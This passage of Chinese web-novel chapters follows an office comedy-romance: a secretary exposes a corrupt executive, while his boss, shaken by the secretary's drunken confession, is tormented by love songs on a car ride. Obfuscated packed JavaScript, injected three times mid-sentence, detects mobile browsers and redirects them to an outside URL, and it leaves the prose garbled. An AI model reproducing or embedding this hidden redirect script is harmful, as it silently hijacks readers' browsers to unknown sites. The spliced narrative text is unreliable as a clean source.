那时候扶光前任董事长盛泓丰去世的突然,20岁才大三的盛溱被推了上来,年轻稚嫩,总部老人有一半都不服,明里暗里使绊子。盛溱提了他当秘书后,这种境况陈裕青同样也直面,替盛溱办事时没少被为难,韦昌就是其中代表人物。 对方仗着年纪大资历老,爹味十足,不管什么都先反对。而且还喜欢揩油,说话的时候总是试图捏手摸肩,故意靠得极近,偏偏除了这些他又没有其他过激举动,让人没办法逮住。 哪怕陈裕青一次都没有让其得逞过,也被恶心得够呛。 后来盛溱雷霆手段站稳脚跟,开始清算,韦昌也圆滑的收敛,陈裕青有给对方下过套,可惜对方小心谨慎,只掉了层皮没伤着要害。他没生气,作为盛溱的秘书,他很清楚盛溱的想法,这些总部安逸许久拿钱不干事的老蛀虫迟早会被拔除掉,时间问题而已,高层大换水容易影响股价稳定,得一点一点悄无声息来。 就这样,四年间陆陆续续清掉不少人,公司也注入许多新鲜血液。大约是始终没有清算到自己,韦昌放松了警惕,觉得盛溱这个总裁多少还要仰仗顾忌他,他是例外,洋洋自得的同时,行事也逐渐放纵。 现在看来,对方是高兴不了多少时间了。 正巧,还让他撞见这些。 “笃笃”两声,陈裕青礼貌敲了敲茶水间的门框,打断了里面的抱怨声。 屋里登时落针可闻,里面人全都惶然地扭头看过来。 “陈、陈秘。” 有人认出了陈裕青,面色无措。 论上班最可怕的事是什么,背后骂领导没被领导听见、但被另外一个领导听见绝对占一条。 尤其这个领导还是直接替大boss办事的。 “早上好啊,”陈裕青将他们的情绪尽收眼底,仍是笑眯眯的,像是日常聊天一般语气温和道,“如果是苦恼短时间内新的供应商该如何选的话,建议从新象和万惠两家考虑,这两家虽然比较新,规模也没那么大,但发展势头很猛,很有谈判空间。” “好,好的......” 他们没想到私底下痛骂主管总监被陈秘书抓到后不仅没被训,还能得到对方的指点,这会儿一个个的都有些懵。 隔了几秒,才有一个胆大的女孩子试探着问:“陈哥你刚刚......?” 陈裕青笑了笑:“听见了,扣工资绩效这事,我会去核实的。” “茶水间人来人往,稍不注意就会被发现,下次手机上拉小群骂,但注意别发错工作群。” 青年笑得温和,说这话的时候还透着一点狡黠。 意识到他话里透露出来的意思,几个员工都有些激动,互相看了看,眼睛晶晶亮。 “好了,去工作吧。” 陈裕青拍拍手。 看着他们满怀期待地回到工位上,陈裕青也转身离开。 从那边拿完文件回来,他就在琢磨着怎么和盛溱说这事。 琢磨着琢磨着,他忽然想起来自己昨天才和对方发过疯,不知盛溱什么想法,他今天有可能面临对方恼羞成怒被辞退的风险。依照他对上司的了解,辞退的概率很小,却也不是没可能,不过他工作上没犯错,被辞退的话,属于无故辞退,有好大一笔钱能拿,凭他的本事,跳槽了也美滋滋。 就是被辞了的话他就看不到死老头被清算的景象了,有点可惜。对那几个员工的承诺倒是好办,离开前他会落实好的,嗯,他果然是个认真负责的好人。 陈裕青心情美丽地回到办公室,没多久,迎来了上司。 “盛总。” 等来了念叨很久的人,陈裕青上前两步,期待地叫了一声。他还是头一回这么期待见到上司。 对方似乎从这句称呼想到了某种不太好的回忆,身体微微一僵,含糊地应了一声:“......嗯。” 陈裕青没在意男人的敷衍,仔细打量着对方。 和他的满怀期待容光焕发不同,来到公司的盛溱肉眼可见的气色不佳,估计昨晚没怎么睡好,眼下有一点淡淡的青色,使得气场更加冰冷不近人情,一路上都没有员工敢凑近。 之前盛溱都是九点半准时到公司,今天似乎迟了一点?他瞄了眼过了几分钟的钟表,若有所思。 想着,陈裕青忽然漾开一抹笑容,似乎有点不太好意思的样子,“盛总,早上我发的消息您看了吗?” “很感谢昨晚您亲自送我回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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以前盛溱从没认真打量过一个人,在他眼里其实人都长得差不多。这番细细看来,他发现青年居然有一双偏圆的眼睛,眼尾略微下垂,瞳仁还是罕见的深棕。这种眼型放在男人身上多少会显得弱气,可在陈裕青身上却不会,与气质完美融合,只觉得温润稳重。 他难得赞同小章的评价,青年看人时目光专注温和,的确很像无害的小鹿。 冷不丁的,眼前的一幕忽然与昨夜的某个画面重叠。 那双很好看的眸子含着泪,泪眼朦胧间像是为了看清他而努力睁大眼,就是这样圆润的形状。 被捏住脸颊时,瞳仁惊惧颤动,滚落而下的泪珠在手心摔成碎玉...... 盛溱一僵,倏然回神。 掌心里湿润烫热的触感似乎还在,他洁癖发作,忍无可忍,皱着眉抽出张纸擦了几下。 “盛,盛总!” 小章和陈裕青说笑了一会儿,才瞥到角落里还站着一个盛溱,顿时怂了。 “哈哈盛总早!我我我干活去了!” 说完赶紧钻回工位。 只剩下盛溱和陈裕青两两相对。 陈裕青这时候目光才又重新落到不远处的男人身上,他知道盛溱除工作外话少,但今天尤其话少,往那一站跟个哑巴似的。 而且来了这么久,和他说的话总共才几个语气词?这可太反常了。 他看见对方在擦手,不知道在擦什么,反正擦得很用力,很不爽的样子。他知道盛溱有点洁癖,作为对方的秘书他一般身上会常备湿巾,见状就自然而然上前:“盛总手上是沾到什么东西了吗?我这里有湿巾,还是那个牌子,盛总你很爱......”用。 一句话没说完,那边男人猛地退后两步。 才从恍惚里回神没多久,擦手擦得细致的盛溱眼角余光里又瞥见那抹熟悉身影靠近,耳朵里还疑似听到什么爱来爱去的,顿时心神紧绷,下意识大声呵道:“不用!” 人影倏地停下。 看着面前左眼写着你不要过来,右眼写着我们有话好好说的上司,陈裕青大为震撼并无语。 至于吗,不就给你送个湿巾! 7. 第7章 走廊里一时间特别安静。 青年还维持着手里拿着湿巾停住脚步的动作,隔着两米的距离不解地望过来,那双深棕的眼睛似乎透有点委屈。 盛溱这时候也意识到自己刚才的话过于急切了些,他抿了抿唇,有点不太自在。和青年对视两秒后,盛溱不着痕迹移开目光,盯着对方的手,尽量恢复平日的淡然再一次拒绝,咬着字:“谢谢,我不用。” “......好的。” 陈裕青收回了湿巾。 盛溱没再说什么,目光十分复杂地看了陈裕青一眼,转身沉默着进了办公室,脚步依然沉稳,只是背影略显沧桑。 而陈裕青在后面看着,心里狐疑。 狗男人今天这么礼貌? 那边,盛溱在自己的位置上盯着桌上的文件失神。 往常来到公司,他都是一秒不耽搁开始处理堆积的公务,决不浪费一丁点时间,但是今天,坐到办公椅上,他竟罕见地有些进不去状态,纸张翻展发出的声响令人烦躁。 又僵持了一会儿,盛溱丢下钢笔,向后靠在椅背上,闭着眼捏了捏眉头,试图缓解眼睛的酸涩。 不,不止今天,从昨晚他就不太对劲了。 昨晚回到家后,他以为自己会如往常一样按部就班地洗漱睡觉,为明日的工作积攒精力。可是躺到床上,闭着眼睛思绪依旧很清晰,这个时候他还没有意识到不对,只是单纯地觉得自己入睡的准备时间长了点,直到拉上的窗帘缝隙里隐隐透出微光,外头也传来叽叽喳喳的鸟叫,他才后知后觉反应过来——他失眠了。 失眠。 这在盛溱过往人生经历里从来没有的事。 以至于他从床上坐起的时候,第一反应不是自己受了什么影响,而是自己的身体出了状况,为此他还在今天的行程里临时加了一个体检。 盛溱眉头紧蹙。 所以究竟是出了什么状况?他自认自己一直以来很重视健康,按道理身体不该出问题...... 还有昨夜。 昨晚他一心想摆脱酒醉失控的青年,都没有工夫去思考其他。在盛溱印象里,他的秘书虽然酒量一般,但酒品很好,就像司机小王说的那样,醉后不吵不闹十分安静,这也是盛溱没料到对方突然失控的最主要原因。 结合对方失控后吐露的心声,他猜测,对方应当是某个时间段发现自己喜欢上了上司,又认真负责、不想因此影响工作影响他人,压抑感情压抑了太久,才会在醉后不自觉爆发出来。 而且他仔细审视刚刚走廊上的一幕,发现青年无论是表情还是言语行为,都和平时没什么区别,应该是不记得酒醉后发生的事。相较之下,他的反应就尤为扎眼,颇有一种此地无银三百两的感觉,这太不应该...... 盛溱理智上客观分析,情感上有些却绷不住。 ......昨天给他的惊吓着实过于大了些,他现在偶尔闭目养神,耳朵里都还是会传来什么爱啊喜欢啊的幻音。 他心里叹了口气,闭目修养片刻,眉宇间的疲倦被压下,面上又恢复冷淡,调整好状态,终于开始专注处理起今天的工作。 过了一会儿,一道人影敲了门进来。 这个时间点会进入他办公室的只有他的秘书,盛溱握着钢笔的手顿了顿,抬眼望去,果然是对方。 青年端着一杯咖啡走过来,杯口冒出的袅袅热气模糊了对方的面容,只看见嘴角是微勾的,和以前一样的温润。 盛溱心情复杂,垂下目光,淡声道:“放在那吧。” 陈裕青应下,顺便扫了一眼对方桌上的文件,心里轻咦了一声。 这些都是过了他手整理的,他扫一眼就知道盛溱看到哪了,往常这个时间过去对方都能看三分之一了,今天居然才下去薄薄一层?他不由得心里摇头啧啧两声,盛狗今天效率不行啊。 咖啡杯放好,陈裕青想起什么,犹豫了两下,没有立刻离开。 这点停滞被盛溱敏锐察觉到了,他眼帘撩起,这个角度刚好能瞥见对方垂在身侧的手,搭在藏青的西裤旁,被布料衬得尤为白皙。手的主人似乎在纠结着什么,手指时不时地蜷缩摩挲两下,骨节在薄薄的皮肤下突起,那块皮肤泛着粉。 盛溱忽然发现,原来陈裕青在纠结的时候还有这种小动作。 他抬起眼,看见青年盯着冒着热气的咖啡杯,眼神直勾勾的,嘴巴动了两下,似是想要说些什么。 想说什么呢,难道是在等他的评价? 若是以前,盛溱根本不会想到这点,然而经历了对方酒后表白的现在,盛溱觉得这个猜测无比正确。 他对谈恋爱没兴趣,注定不会与一个人有超出朋友之外的关系,目前最理智的做法是不回应,彻底断绝对方的念头。看上去冷酷了些,可对大家都好,也确保对方不会受到二次伤害。 可是想到昨夜......盛溱呼吸微微一窒,觉得还是不要太刺激对方了,万一刺激过头,又出现那种情况呢? 只是稍微想一下,盛溱就觉得无比的心累。 他再度看了看眼巴巴的青年,犹豫了下,最终还是像做下什么重大决定似的,硬着头皮端起咖啡杯抿了口,轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这次在等,那过去的许多个日子里,对方送上咖啡的时候,是不是也如今天一般在默默期待? 察觉到这其中流淌出来的浓烈情意,盛溱忽然有点不敢深想。 他沉默着在无人的办公室拿起咖啡杯,送到嘴边。 然后被烫了下嘴。 8. 第8章 “陈哥,有人找~” 办公室门口小章一探头,陈裕青正在忙手头的东西,眼睛还盯着电脑屏幕,闻言略一点头:“好,你让他进来吧。” 小章答应了声,不多时,一道脚步声从远处传来。 这道脚步声不像一般员工那样干练利索,从外头走进来时还放慢了许多,像是在一边走一边饶有兴致地打量四周,鞋底在地板上摩挲出细微的声响,听着让人幻视一块会移动的连着皮的肥肉。 陈裕青抬头瞥了眼,手上一顿,动作自然地把页面关掉,脸上随即挂起温和的笑意,起身迎过去:“韦总。找我有什么事吗?” 韦昌没说话,接着细细打量整个办公室。 在整个扶光都人缘很好的陈秘的办公室没有如他的顶头上司那样简洁冷清,反倒充斥着许多小东西。 办公桌后角落里收着折叠好的躺椅,上头盖着印有花样的小毯子;椅子上放着靠枕和保护脊椎的颈枕;箱子里的是花花绿绿的小零食,还有两颗红彤彤、一看就很喜人的苹果。桌子上除了文件摞得整整齐齐外,其他的东西都摆得很随性,发财竹上挂着小红包,签字笔一根斜躺在鼠标垫旁,一根不知何时掉在了地上。 环视了一圈,韦昌目光落向亮着光的电脑,笑呵呵寒暄:“陈秘挺忙的啊?” 陈裕青不知这人找来干什么,不谈公事反而说些有的没的。他滴水不漏,同样笑意盈盈:“工作嘛,当然忙。” “也是,陈秘在盛总那受器重得很。” “不敢当,也就是按照盛总的吩咐办事。” “这话可谦虚了,扶光上下谁不知道你的话在盛总那有时候比我们这些人还管用。”韦昌说着说着,突然话锋一转语气变得意味深长起来,“不过小陈啊,我一直觉得你是个聪明人。” 陈裕青心里一咯噔,但面上不显,故作讶然:“韦总指的是什么,我不明白。” “你看看,刚说你聪明,这又糊涂了。” 陈裕青无奈,“韦总,我真不知道您说的是什么,您有话不如直说。” “不明白,是真不明白还是假不明白?”见面前的年轻人一直打机锋不接他话茬,韦昌耐心消失大半,一改笑呵呵的面貌,细小的眼睛眯起,精光毕露,话音隐隐含着威胁,“我劝你不要多管闲事。” 陈裕青笑的温和,并不因眼前中年人的态度改变而感到恐慌,“我只是在做盛总交代给我的分内之事。” 韦昌眯着眼睛审视他,陈裕青也大大方方任由韦昌打量。最终韦昌并没在这个气质和煦的青年人身上发现什么端倪,只得偃旗息鼓,不太甘心地说道:“最好是这样。” “小陈我可是亲眼看着你一步一步走到这个位置的,你要知道有时候睁一只眼闭一只眼才能走得长久,世界上没有真正清白的人,太较真的话鱼不一定会死,网绝对会破。”韦昌眯着眼语重心长。 “我知道你们年轻人都不爱听这一套,但你是聪明人,我想你应该会知道。” 陈裕青状若谦逊地点点头。 明里暗里的威胁一通,也没发现什么异常,韦昌哼了一声离开了,陈裕青盯着他的背影,陷入思考。 本来他以为韦昌是发现了底下员工告密恼羞成怒找过来的,但听对方说的话,又似乎没这个意思?如果真的发现了,那就该直截了当点明了,而不是像现在这样含糊其辞,话里话外都在让他不要较真多管闲事。估计还是就昨天早会被骂的事小心眼觉得是他在给盛溱上眼药吧。 分析一通,陈裕青放心了,至于韦昌的那些威胁,他并没听进耳朵里。 把柄,他能有什么把柄。 他清清白白光明磊落累死累活的牛马一枚,能在别人手里有什么把柄? 如果对方指的是天天背后说上司坏话,上班时间厕所摸鱼,多用公司打印白纸,使劲喝公司的水,下午茶狂吃,下班前给自己的电脑手机耳机充电宝ipad充满电再回家,那他确实罪无可赦。 陈裕青翻了个白眼。 算了算时间,他又回到自己位置上做还没完成的事。 早上的时候他还想着如果因为发疯被开除,他也要在离开公司前完成对那几个被无辜压榨冤枉的员工的承诺,没想到发疯有奇效,上司就吃这一套。 这下好了,完全不用担心什么开除了,工作环境也美丽了,于是从盛溱那回来后,他就立刻着手处理这件事。让绩效管理团队重新审查商务部员工们的绩效,又针对这次事件做了个报告准备给盛溱汇报,韦昌来的时候已经做得差不多了,为防对方发现横生事端,他把页面隐藏了。 看了看报告没问题,陈裕青就起身去了盛溱那。 “盛总,我有事情要说。” 陈裕青进来后开门见山。 “说。” 盛溱换了个姿势,语气行为都很冷淡。 “是关于之前腾跃合作案半成品的背后原因,以及商务部总监的渎职情况。”陈裕青言简意赅。 盛溱见才离开没多久的青年又找了回来,本来还隐隐有点不太自在,觉得对方是不是找机会想看到他,是不是有点太黏人了,惊觉他以往每天都要和青年见很多面。 然而听到对方的话,这种想法顿时飞得无影无踪,整个人也严肃下来:“具体说说。” “腾跃合作案本由商务部员工张姿几人负责,但在彻底完成前就被韦昌拿走并上交,被打回后韦昌恼羞成怒以员工做事不认真为由,扣除张姿几人绩效,这是相关记录。” 陈裕青把自己做好的资料给对方看,里头有详尽的绩效报表,会议纪要,员工已完善的合作案和韦昌交上的半成品两版对比,员工悄悄保留的工作记录等等。 他道:“据私下问询商务部部分员工得到的消息,韦昌做这事决不是一次两次了,类似这样将下属成果转化为个人业绩的恶劣行为不少见。除此之外,我怀疑对方私底下还存在受贿行为,利用职务便利牟利。” 仅仅一上午的时间陈裕青没法将所有事都明明白白地摆出来,但光搜罗出来的零零散散的这些,就够令人心惊了。 其实腾跃合作案一事存在疑点颇多,除了摘取下属成果,他最怀疑的是对方背后是否和腾跃有过联系,通过收取好处行方便,让扶光与腾跃的续约顺利推行,不然没法解释对方火急火燎的行为。 他没明说,盛溱也从他的话里听出来了,当即皱眉。 “按流程走,让审计和法务那边成立个调查小组,专门负责这事,除隐瞒员工贡献外,重点核查还有没有其他违法行为。” 盛溱看向陈裕青:“这事是你发现的,就交给你来办,跟随监督。” “好。” 陈裕青答应的同时,目光也在对方身上不着痕迹转悠了一圈。 笑死,他确信自己刚进来的时候还发现上司目光有点躲闪,不过等他说到要点,这点别扭就全部消失了。 他就欣赏对方这点,正事上毫不含糊,不因外物动摇,哪怕他昨晚才发疯表白过吓了对方好大一跳,今天也仍旧把重要任务派给他。这也是上司嘴贱又挑剔,而他还能忍受这么多年的根本原因。 聊完了正事,气氛缓和了不少,看了看时间已经快到中午了,陈裕青问皱着眉仍旧满身冷气的上司:“盛总中午还在那家餐厅订餐?” 盛溱点点头。 陈裕青于是转身出门去办。 就在他刚走出两步的时候,背后又传来对方的声音:“等等。” “下午的行程压缩一下,给我在就近医院安排个体检。” 盛溱还记着自己昨晚失眠的异常。 “呃,体检?”陈裕青有些懵。 这是哪出毛病了? 他的目光不由自主地在对方全身过了一遍。 没看出来啊。 盛溱被秘书看得浑身一紧,他仿佛从对方的眼睛里看到了满满的担忧。为防对方说出什么不合时宜的话,他率先移开了视线,喉结不自在地上下滚了滚。 “空出两到三小时时间,医院的话你就不用陪我去了。” “......行。” 陈裕青嘴上答应着,心里吐槽。 神经,你体检我去做什么。 给你加油助威吗? 他把行程在脑子里过了一圈,下午的时间本来就紧,不过老板发话了,他这个秘书也得办。想了想提议:“那跨国会议的时间就提前一点,全程时间也压缩,在车上进行怎么样?两点去基地开会,六点半还有一个饭局,体检的时间只能在三点半左右,医院的话在距离公司1.5千米的附属医院,安排一个基础体检套餐?” “嗯。”盛溱对此很满意。 陈裕青也不多说废话:“好,那我去办了。” 他利索地转身离开。 听到脚步声远去,盛溱先前避嫌移开的视线又看了回来,盯着青年快速离去的背影,沉默。 他确信他刚才在对方眼里看到了浓烈的关心和担忧。 在听说他要去体检那一刻,青年眼底的停顿惊愕根本无法掩饰,目光急切地看过来似乎是想立马开口关心他身体哪里不对。然而估计是想起了身份立场,又只能压制回去,理智地按他的要求安排。 不得不说,公事上陈裕青做事的态度效率都让他非常欣赏,但情爱上...... 盛溱摇摇头。 他不可能会回应的。 中午,陈裕青坐上了上司的车。 他今天中午得和盛溱一块吃饭。 其实一般情况下,陈裕青还是更喜欢自己一个人吃饭,自在舒服,和上司同桌吃饭一个不小心容易消化不良。 但是今天下午临时加进来其他安排,其中一个会议压缩到在车上进行,他得全程跟着,单独吃饭的话时间上来不及,所以午饭就只能和上司一块了。以前也不是没遇到过这种情况,陈裕青安排起来得心应手,就是得鸽一鸽好友,他原本是想和韩彦一块在公司食堂吃的。 韩彦:【你这个鸽子,你算算你鸽了我几回了!】 韩彦:【冷笑甩鞭子.jpg】 陈裕青:【汤姆猫求饶jpg】 陈裕青:【抱歉抱歉,这不是因为盛溱嘛,一改行程我就得跟着,要不你去和盛溱说,我和你吃完饭了再过去?】 韩彦:【那还是算了吧,好走不送】 陈裕青:【下次!下次一定!】 陈裕青坐副驾低着头啪啪打字,又是发表情包又是安慰的,一通操作猛如虎,总算安抚好了缺少饭搭子而怨气横生的好友。他余光一瞥,发现上司坐到后面来了,就收起了手机。 车缓缓行驶。 一路上车内气氛特别沉闷,谁也不说话。 坐在副驾的陈裕青操心事务,坐在后面的盛溱闭目养神,只剩驾驶座的司机小王闷得抓耳挠腮。 小王心里直纳闷,以前也不是没有过大家都不说话的时候,但哪一次都没有今天的沉默,就感觉气氛怪怪的,好像他不应该出现在这里似的。但一个司机不出现在驾驶座还能出现在哪?小王想不明白,他有点坐不住。 又驶过一个路口,他在安静到诡异的气氛里弱弱提议:“要不......咱们听点轻音乐吧?” 陈裕青无异议,盛溱闭着眼低低嗯了一声。 小王于是放心打开了车载音响。 安静的车内,忽然响起撕心裂肺的一声:“死了都要爱——” 闭目养神的盛溱眼睛倏地睁开。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467007|185497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “咦,这什么啊,”小王被这一嗓子嚎了个惊疑不定,旁边的陈裕青也看了过来,温声,“放错了吧。” “应该是,我再搞一下。”“说起来这首歌流行那会儿,我家附近街头巷尾的小店都很爱放呢。”“嘿嘿是的,是老歌了。” 在两人说话间,音箱自顾自激昂深情地唱了下去:“......不淋漓尽致不痛快,感情多深,只有这样,才足够表白——” “......” 盛溱插不进前面两人的对话,他听得一个头两个大。 什么老歌流行歌,他现在最听不得这些情情爱爱的。尤其是这还什么死了都要爱,一听就很偏执不健康。 盛溱回想昨夜,感到一阵头疼,小心地瞄了一眼副驾的秘书,生怕对方因歌触情。 眼见着下一句撕心裂肺的“死了都要爱”就要唱出来,他额角青筋直跳,及时出声阻止,嗓音冷淡而克制:“换掉。” “好的好的。” 小王一边答应一边换。 音乐切换到下一首,从撕心裂肺转换到了欢快:“对你爱爱爱不完,我可以天天月月年年到永远......” “奇怪,怎么还不是轻音乐?”“这首啊,这首可相当出名了,也很好听。”“陈秘也爱听这个啊,有品......不对盛总要听轻音乐来着。” 小王嘀咕着又换,风格顿时为之一变:“爱得那么深,爱得那么认真,可还是听见了你说不可能......” 深情喑哑的曲子在整个车里缓缓流淌,好似被曲风感染似的,车里不知何时静了下来。 三人面面相觑。 盛溱原本随意靠在椅背上的姿势变了,警惕地坐直,唇角紧紧抿着,一双黑眸时不时地觑到副驾的青年身上,小心观察着。 从听到歌词的那一刻起盛溱的心弦就绷紧了,这首歌可太符合当下的情境了,如果他再不留情面一点,歌曲里所诉说的就会成为现实。想着,他忍不住又看了前面的秘书一眼,却见青年安静低着头,碎发微微垂落在眉眼处遮下一片阴影,然后他在后方就眼见着那只眼睛眨了眨,冷不防地眼尾就红了一块。 “......!!” 盛溱瞳孔微震,果然。 陈裕青嘴角的笑容微滞,头发有点长了,扎眼,他使劲眨了眨眼缓缓眼睛的酸涩。 这时候陈裕青才反应过来大家怎么都不说话了。 不过这歌倒是挺好听的。 他透过后视镜和后座的盛溱对上视线,还没露出什么表情,就见对方跟吃错了药似的心虚移开,动作还透着一股尴尬,两手交叉放在腹部,努力营造一种若无其事的感觉。 尴尬? 听个歌有什么好尴尬的。 他在音响里传出的深情又落寞的歌声中若有所思。 ......除非让对方尴尬的不是歌,而是歌传达出的意味。 想着,陈裕青的表情逐渐变得微妙,微妙中又透出些许幸灾乐祸。 哈! 他在心里发出一声短促的笑,乐得不行。 不是吧不是吧? 区区一个发疯,居然能让冷酷无情的资本家PTSD至此,连歌曲里的情情爱爱都听不得了。 陈裕青努力憋笑,憋得太猛以至于面色涨红,手遮着脸低头的样子竟真的有那么点伤心难过的味道。 盛溱发现后,坐得更僵硬了。 “这咋回事啊我再换换!”小王脑门冒汗。 他一边开车一边换,祈祷赶紧换为正常的,但事与愿违,音响里传出的仍是缠|绵|悱|恻的曲音:“我爱你,无畏人海的拥挤,用尽余生的勇气,只为能靠近你,哪怕一厘米......” “得不到的就更加爱,太容易来的就不理睬,其实谁不想遇见真爱,爱的绝对爱的坦白......” “爱有双重魔力,也苦涩也甜蜜,悄悄地在心底,说一万遍我爱你爱你......” “......” “......够了,”盛溱深吸一口气,咬牙:“立刻关掉!” 怎么调也调不对,小王也急得满头大汗,闻言立刻照办,世界安静了。 盛溱胸膛起伏了几下,又靠回了椅背上,眼前发黑。 他就多余答应听什么轻音乐! “盛总应该是曲单出错了,这些都是爱情音乐,我回头调一下,全换成轻音乐一类的。”小王解释。 “嗯。”盛溱疲惫闭着眼,脑门突突的。他忽然又想到昨晚陈裕青就是在这辆车里喊着爱啊喜欢啊搂着他不放的,登时又难受起来,拧着眉头,“明天换一辆车开过来。” “哦,好的。” 小王懵逼,不明白怎么突然换车,不过老板本就挑剔事多,他又释然。 车徐徐驶向目的地,没了音乐的折磨,盛溱缓缓放松。 然而没多久,一道飘渺的曲音由远及近缓缓钻进他耳朵里—— “你爱我我爱你,蜜雪冰城甜蜜蜜~~~” “怎么还放??” 盛溱忍无可忍。 “盛总不是我,是旁边的店......”小王弱弱道。 盛溱压着脾气扭头去看,看见他们停在路口等红路灯,而路口旁边的一家奶茶店就放着这个令他窒息的歌,门口还有两个白胖胖雪人在打架,你踹我一脚我拽你一下鼻子,场面十分匪夷所思。 “......” 他噎了一下,想说什么却说不出来,又不想看辣眼睛的两个雪人充气玩偶打架,只得闷不吭声闭眼靠了回去,在“你爱我呀我爱你”的歌声里,整个人都笼罩着一层脆弱和阴郁。 副驾目睹这一切的陈裕青憋笑到快要内伤。 9. 第9章 这个红绿灯秒数有点长了,驾驶座的小王等得百无聊赖,想和隔壁陈裕青说点什么但又顾忌着对方可能在处理事务怕打扰到,只能在奶茶店欢快的曲音中无聊地到处看。 没想到这一看,小王发现了不对劲,坐在副驾的青年不知何时偏着头,整个人都快缩到那边的车窗边上了,一只手还捂着下半张脸,莫名的虚弱和隐忍,时不时肩膀还轻微抖两下,带动着发丝也跟着抖抖。 他大惊:“陈秘你怎么了?” “是不是身体不舒服?晕车?想吐?要不要去医院看看?” 一连几问,把后面盛溱的注意力都吸引了过来。 盛溱本来还压着心头被吵到的烦躁,闻言却不自觉悄悄睁开了眼睛,犹豫了几下,还是偷偷朝那边看过去。 “......咳,我没事,”陈裕青把喉头的笑意努力压回去,一和后视镜里盛溱的疑惑眼神对上,差点又没憋住,“哈,咳咳......我没事,就是呛了点风,咳......” 呛风? 车窗分明都没打开哪来的风? 盛溱一点也不相信这番说辞。 他看着青年微红的眼尾颦蹙的眉头,还有莫名隐忍的表情,还是觉得对方是触歌生情想到了伤心事在难过,结合那天的表白,很难不让人猜出对方在难过什么。可惜,即便如此,他也无法对其回应一丝一毫的感情。 盛溱觉得理智分析的自己心硬如铁,可看到相处多年的得力秘书黯然神伤至此,心中还是起了一丝微小的波澜。 正想着,那边青年开口了,温和的音调里透着一丝不明显的颤抖:“我真的没事,等会儿绿灯亮了我们赶紧走吧,别让盛总在这听歌了,咳......” 听歌...... 因为小王忽然大呼小叫而被盛溱忽略了一会儿的魔性曲音又清晰了起来,他冷漠的俊脸表情裂开了一瞬,脑子里什么黯然神伤用情至深感人肺腑都没有了,一言不发地又靠回了椅背上。 这一幕又被陈裕青瞥见。 他好不容易把笑意压下,说了一句话后余光瞥到后视镜里上司空白的脸,又差点崩盘。 太搞笑了。 没想到有朝一日上司的脸竟能成为他的笑点。 陈裕青深吸一口气,又吸一口气,赶忙低下头,假装处理事务来分散注意力。 所幸这个红绿灯并没多长,盛溱不用受太久的折磨,陈裕青也不用忍太久的笑,小王发动车子后那阵曲音就被抛在了后面,渐渐消失不见,耳边终于清净,盛溱紧皱的眉宇也终于松开。 只是到了目的地,他从车上下来的时候,却不自觉踉跄了一下。动作幅度很小,没让其他人察觉,只是自己默默调整好了,抬起眸的瞬间眼底都还有些恍惚。 他想,他估计要很长一段时间不想听歌了。 盛溱沉默着进了预定的包间吃饭。 “盛总,给。” 陈裕青刚才憋笑憋得口渴了,进来后先给自己倒了一杯茶润润喉,顺手也给上司倒了一杯推过去。 盛溱下意识接过,然而却在手碰到杯子的时候顿了顿,眼神有点复杂和小心地看向陈裕青。 青年似乎在这短短的时间内调整好了状态,干练利落,温和矜持,全然一副精英的模样,看不出来之前的一点难过。这里的杯子比较小,对方好像一杯没喝够,又给自己倒了一杯茶慢吞吞地喝着,杯口离开的时候,唇瓣沾染上一层透亮的水渍,被自然地抿掉,颊边酒窝短暂浮现一瞬。 眨眼间,对方已经喝完水同服务员对话了。 盛溱皱了皱眉,不明白自己看别人喝水干什么,不过秘书变得正常他就放心了。 他由衷地希望歌曲里描述的那样偏执的感情不要在对方身上出现,对陈裕青,对他,都是一种麻烦。 他也拿起杯子喝了一口,只不过不渴,喝了一口就放在了一边。 “盛总,还需要添些什么吗?”陈裕青突然回头。 盛溱愣了一下,回神,看了看桌子:“挺好,不用了。” 陈裕青点点头吩咐了什么,重新坐下。 盛溱话少,陈裕青不开口的话,就会显得气氛特别安静。 他们俩对坐,一抬眼陈裕青就能看见上司的脸,俊美的五官冷淡的表情,一动不动的时候挺唬人,但一想到对方刚才车上表情裂开的模样,突然就很令人发笑了。他在自己笑出声前及时扭开脸,盯着墙上的山水挂画找话题:“咳,那个盛总,待会儿的会议我已经安排好了,吃过饭后就能开始。” 盛溱简短应道:“嗯。” “调查小组也各自拨了几个人进去,就之前提过的那几个......” “嗯。” “盛总你饿了么?” “嗯。” “......” 不知道为什么更好笑了。 陈裕青又给自己倒了杯水,借着喝水的动作偷笑两声。 盛溱怀疑自己眼花。 他怎么感觉他的秘书在笑?? 难道他说的话有什么不对劲的吗? 盛溱思考了一下,没发现有什么不对,他看了看对面的秘书,想问一下,又顾忌着什么没有立刻开口,犹豫间发现对方的注意力已经不在这了,深棕色的眼睛专注地盯着桌上刚上的饭菜。 盛溱抿了下唇,最终还是没有开口,沉默着拿起筷子。 因为提前向这里打过招呼的缘故,菜上的很快,这会儿已经彻底上齐了。 全是清淡精致的菜系,与这家私房菜馆的气质相得益彰,也很合盛溱的胃口。虽然公司里有食堂,但其实盛溱并不常在那里吃,食堂因为面向全体员工的缘故,并不能很好的照顾他的口味,这方面盛溱还是有些挑剔的。 如同以前曾经历过的许多次一样,这天的午饭依旧平淡。 两人各吃各的,透露着一种公事化的疏离和规矩。 